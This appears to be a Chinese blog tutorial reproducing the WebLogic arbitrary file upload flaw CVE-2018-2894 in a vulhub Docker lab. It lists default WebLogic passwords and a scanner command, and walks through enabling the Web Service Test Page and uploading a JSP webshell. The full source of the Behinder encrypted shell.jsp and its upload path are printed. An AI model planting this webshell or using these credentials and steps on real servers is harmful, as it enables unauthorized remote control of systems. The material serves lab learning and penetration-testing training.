Weblogic任意文件上传漏洞(CVE-2018-2894)漏洞复现(基于vulhub)

前端 0
🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

0x1前言

0x2 漏洞原理及介绍

1、weblogic简介

2、weblogic漏洞库存

3、weblogic扫描工具

0x漏洞复现

1、常见弱口令

2、任意文件上传漏洞(CVE-2018-2894)


0x1前言

这个任意文件上传CVE-2018-2894漏洞,Oracle公司在7月份修复,需要我们自己手动配置才可以进行漏洞测试,所以这就需要我们拿到weblogic网站的登录账号密码,这里很多网站其实在实际中,都是默认密码的存在,所以可以通过一些工具进行测试下。这个漏洞利用vulhub复现下来,没什么难度,新手也是完全ok的,平常一些护网面试啥的经常会问Java相关的漏洞问题,就比如weblogic漏洞。

0x2 漏洞原理及介绍

1、weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

2、weblogic漏洞库存

Weblogic 反序列化漏洞 CVE-2021-2394Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109Weblogic RCE CVE-2020-14882&14883weblogic jndi注入CVE-2020-14841Weblogic coherence组件iiop反序列化漏洞 (CVE-2020-14644)WebLogic UniversalExtractor反序列化漏洞 CVE-2020-14645WebLogic CVE-2020-14756 T3IIOP反序列化RCEWeblogic 远程代码执行漏洞 CVE-2020-2883Weblogic CVE-2020-2551 IIOP协议反序列化rceWeblogic反序列化漏洞 CVE-2019-2890Weblogic反序列化远程代码执行漏洞CVE-2019-2725Weblogic反序列化漏洞 CVE-2019-2729Weblogic任意文件读取漏洞(CVE-2019-2615))Weblogic 文件上传漏洞(CVE-2019-2618)weblogic 反序列化漏洞 CVE-2018-3252Weblogic反序列化远程代码执行漏洞 CVE-2018-3245Weblogic远程代码执行漏洞 CVE-2018-3191Weblogic任意文件上传漏洞(CVE-2018-2894)Weblogic WLS核心组件反序列化漏洞 CVE-2018-2893Weblogic WLS Core Components 反序列化命令执行漏洞 CVE-2018-2628WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)Weblogic 反序列化漏洞 CVE-2017-3506Weblogic 反序列化漏洞 CVE-2017-3248Weblogic SSRF漏洞 CVE-2014-4210

3、weblogic扫描工具

GitHub - 0xn0ne/weblogicScanner: weblogic 漏洞扫描工具。目前包含对以下漏洞的检测能力:CVE-2014-4210、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2018-2893、CVE-2018-2894、CVE-2018-3191、CVE-2018-3245、CVE-2018-3252、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729、CVE-2019-2890、CVE-2020-2551、CVE-2020-14750、CVE-2020-14882、CVE-2020-14883weblogic 漏洞扫描工具。目前包含对以下漏洞的检测能力:CVE-2014-4210、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2018-2893、CVE-2018-2894、CVE-2018-3191、CVE-2018-3245、CVE-2018-3252、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729、CVE-2019-2890、CVE-2020-2551、CVE-2020-14750、CVE-2020-14882、CVE-2020-14883 - 0xn0ne/weblogicScannericon-default.png?t=N7T8https://github.com/0xn0ne/weblogicScanner

weblogic 漏洞扫描工具。目前包含对以下漏洞的检测能力:CVE-2014-4210、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2018-2893、CVE-2018-2894、CVE-2018-3191、CVE-2018-3245、CVE-2018-3252、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729、CVE-2019-2890、CVE-2020-2551、CVE-2020-14750、CVE-2020-14882、CVE-2020-14883
pip3 install requests    //进入项目目录,使用以下命令安装依赖库python ws.py -t IP:7001  //扫描weblogic漏洞命令

0x漏洞复现

1、常见弱口令

system:password        weblogic:weblogic    admin:secruityjoe:password           mary:password        system:sercuritywlcsystem:wlcsystem                         weblogic:Oracle@123

此网站可以搜索对应软件的默认密码:

https://cirt.net/passwords?criteria=weblogic

2、任意文件上传漏洞(CVE-2018-2894)

漏洞搭建环境:

ubantu:IP地址 10.10.10.130 (先要安装docker,然后下载vulhub) 启动vulhub里面的weblogic环境目录对应的漏洞

先进入/vulhub/weblogic/CVE-2018-2894目录下,然后利用docker启动靶场环境

显示了这个done字段,那么就说明靶机开启成功了

docker-compose up -d

docker ps -a  //查看靶机环境对应的端口号7001端口

默认访问IP+端口号是上面的这个界面,显示404是正常的。

扫描这个7001weblogic漏洞端口下有什么目录,发现存在/console/、/bea_wls_internal/目录

┌──(root💀kali)-[~]└─# dirsearch -u http://10.10.10.130:7001

访问/console/目录,需要我们拿账号密码进行登录,这里不要尝试爆破,爆破超过5次就会进行很长一段时间的冷却期。

我们直接在ubantu的vulhub漏洞目录下找,需要在/vulhub/weblogic/CVE-2018-2894目录下,找到密码登录成功:

账号:密码 --》 weblogic:xJ6J02Ow

这里我们需要访问一个任意上传jsp文件漏洞功能点的目录位置,扫描目录的时候没有扫出来,但是你上网搜素这个CVE-2018-2894都是可以找到这个目录名字的,/ws_utc/config.do(未授权访问)

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,所以我们想要利用这个任意jsp文件上传漏洞,需要手动在刚才的登录进去的页面里面把一个web服务开启,然后才可以利用。

第一步,点击这个

第二步,再点击这个高级

第三步,把这个web服务勾上,然后再点击save保存

第四步,把圈起来的内容改为:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

第五步,上传jsp木马文件,我这里是上传冰蝎默认自带的shell.jsp木马文件,代码如下:

//默认连接密码rebeyond

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

第六步:利用bp抓包,然后找到这个上传文件的时间戳,如果有好多个,那么就取最后一个时间戳,然后这个jsp木马上传的位置目录如下,

http://10.10.10.130:7001/ws_utc/css/config/keystore/1712739474159_shell.jsp

第七步,直接拿冰蝎连

也许您对下面的内容还感兴趣: